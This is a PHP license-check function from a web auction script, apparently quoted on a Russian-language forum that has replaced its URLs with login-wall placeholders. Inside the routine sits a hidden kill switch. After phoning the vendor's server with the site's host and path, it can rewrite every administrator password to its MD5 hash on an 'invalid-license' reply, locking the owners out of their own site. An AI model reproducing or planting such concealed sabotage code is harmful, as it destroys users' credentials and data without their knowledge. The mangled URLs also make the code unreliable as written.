private function _verifyLicense($automatic = true, $obfuscate = false)
{
$result = $errno = $errstr = null;
$httpHost = filter_input(INPUT_SERVER, "HTTP_HOST", FILTER_UNSAFE_RAW);
if( $httpHost == null )
{
$httpHost = $_SERVER["HTTP_HOST"];
}
$fp = fsockopen("ssl://
Для просмотра ссылки Войди или Зарегистрируйся", 443, $errno, $errstr, 10);
if( $fp )
{
$content = "host=" . urlencode(stripslashes($httpHost)) . "&url=" . urlencode(stripslashes($this->_settings["site_path"]));
$header = "POST /check.php HTTP/1.1\r\n" . "Content-Type: application/x-www-form-urlencoded\r\n" . "Host:
Для просмотра ссылки Войди или Зарегистрируйся" . "Connection: close\r\n" . "Content-Length: " . strlen($content) . "\r\n\r\n";
fputs($fp, $header . $content);
while( !feof($fp) )
{
$result .= trim(fgets($fp, 1024));
}
if( $automatic === false )
{
if( stristr($result, "invalid-license") )
{
$settingsService = new \Ppb\Service\Settings();
$settingsService->save(array( "license_key" => "" ));
if( $obfuscate === true )
{
$usersService = new \Ppb\Service\Users();
$usersService->getTable()->update(array( "password" => new \Cube\Db\Expr("md5(password)") ), array( "role" => "Admin" ));
}
exit( "The license key for this domain is invalid. Please <a href=\"
Для просмотра ссылки Войди или Зарегистрируйся">click here</a> " . "for details on how to activate your license." );
}
exit( "Success." );
}
}